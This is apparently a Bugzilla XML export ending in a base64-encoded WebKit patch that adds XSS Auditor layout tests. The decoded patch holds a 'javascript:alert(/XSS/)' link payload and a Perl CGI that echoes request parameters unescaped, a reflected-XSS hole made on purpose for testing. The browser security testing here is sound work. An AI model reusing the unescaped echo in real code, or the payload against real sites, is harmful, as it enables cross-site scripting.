cmlwdCUzQWFsJTAwZXJ0JTI4L1hTUy8lMjklM0V0ZXN0JTNDL2ElM0UnPgorPC9pZnJhbWU+Cis8
L2JvZHk+Cis8L2h0bWw+CkluZGV4OiBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hz
c0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLmh0bWwKPT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gTGF5b3V0VGVzdHMv
aHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2phdmFzY3JpcHQtbGluay5odG1sCShyZXZp
c2lvbiAwKQorKysgTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2ph
dmFzY3JpcHQtbGluay5odG1sCShyZXZpc2lvbiAwKQpAQCAtMCwwICsxLDE2IEBACis8IURPQ1RZ
UEUgaHRtbD4KKzxodG1sPgorPGhlYWQ+Cis8c2NyaXB0PgoraWYgKHdpbmRvdy5sYXlvdXRUZXN0
Q29udHJvbGxlcikgeworICAgIGxheW91dFRlc3RDb250cm9sbGVyLmR1bXBBc1RleHQoKTsKKyAg
ICBsYXlvdXRUZXN0Q29udHJvbGxlci53YWl0VW50aWxEb25lKCk7CisgICAgbGF5b3V0VGVzdENv
bnRyb2xsZXIuc2V0WFNTQXVkaXRvckVuYWJsZWQodHJ1ZSk7Cit9Cis8L3NjcmlwdD4KKzwvaGVh
ZD4KKzxib2R5PgorPGlmcmFtZSBzcmM9J2h0dHA6Ly9sb2NhbGhvc3Q6ODAwMC9zZWN1cml0eS94
c3NBdWRpdG9yL3Jlc291cmNlcy9lY2hvLWludGVydGFnLWNsaWNrLWFuZC1ub3RpZnkucGw/ZWxt
aWQ9YW5jaG9yTGluayZxPSUzQ2EraWQlM0RhbmNob3JMaW5rK2hyZWYlM0RqYXZhc2NyaXB0JTNB
YWxlcnQlMjgvWFNTLyUyOSUzRXRlc3QlM0MvYSUzRSc+Cis8L2lmcmFtZT4KKzwvYm9keT4KKzwv
aHRtbD4KSW5kZXg6IExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9y
ZXNvdXJjZXMvZWNoby1pbnRlcnRhZy1jbGljay1hbmQtbm90aWZ5LnBsCj09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0t
IExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNo
by1pbnRlcnRhZy1jbGljay1hbmQtbm90aWZ5LnBsCShyZXZpc2lvbiAwKQorKysgTGF5b3V0VGVz
dHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3Jlc291cmNlcy9lY2hvLWludGVydGFn
LWNsaWNrLWFuZC1ub3RpZnkucGwJKHJldmlzaW9uIDApCkBAIC0wLDAgKzEsMjggQEAKKyMhL3Vz
ci9iaW4vcGVybCAtd1QKK3VzZSBzdHJpY3Q7Cit1c2UgQ0dJOworCitteSAkY2dpID0gbmV3IENH
STsKKworcHJpbnQgIkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04XG5cbiI7
CisKK3ByaW50ICI8IURPQ1RZUEUgaHRtbD5cbiI7CitwcmludCAiPGh0bWw+XG4iOworcHJpbnQg
IjxoZWFkPlxuIjsKK3ByaW50ICI8c2NyaXB0PlxuIjsKK3ByaW50ICJ3aW5kb3cub25sb2FkID0g
ZnVuY3Rpb24oKVxuIjsKK3ByaW50ICJ7XG4iOworcHJpbnQgIiAgICB2YXIgZXZlbnQgPSBkb2N1
bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudCcpO1xuIjsKK3ByaW50ICIgICAgZXZlbnQuaW5p
dEV2ZW50KCdjbGljaycsIHRydWUsIHRydWUpO1xuIjsKK3ByaW50ICIgICAgZG9jdW1lbnQuZ2V0
RWxlbWVudEJ5SWQoJyIuJGNnaS0+cGFyYW0oJ2VsbWlkJykuIicpLmRpc3BhdGNoRXZlbnQoZXZl
bnQpO1xuIjsKK3ByaW50ICJ9XG4iOworcHJpbnQgIjwvc2NyaXB0PlxuIjsKK3ByaW50ICI8L2hl
YWQ+XG4iOworcHJpbnQgIjxib2R5PlxuIjsKK3ByaW50ICRjZ2ktPnBhcmFtKCdxJyk7Citwcmlu
dCAiPHNjcmlwdD5cbiI7CitwcmludCAiaWYgKHdpbmRvdy5sYXlvdXRUZXN0Q29udHJvbGxlcilc
biI7CitwcmludCAiICAgIGxheW91dFRlc3RDb250cm9sbGVyLm5vdGlmeURvbmUoKTtcbiI7Citw
cmludCAiPC9zY3JpcHQ+XG4iOworcHJpbnQgIjwvYm9keT5cbiI7CitwcmludCAiPC9odG1sPlxu
IjsKClByb3BlcnR5IGNoYW5nZXMgb246IExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkv
eHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnRlcnRhZy1jbGljay1hbmQtbm90aWZ5LnBsCl9f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX18KTmFtZTogc3ZuOmV4ZWN1dGFibGUKICAgKyAqCgo=
</data>
<flag name="review"
          id="16993"
          type_id="1"
          status="+"
          setter="abarth"
    />
          </attachment>
      

    </bug>

</bugzilla>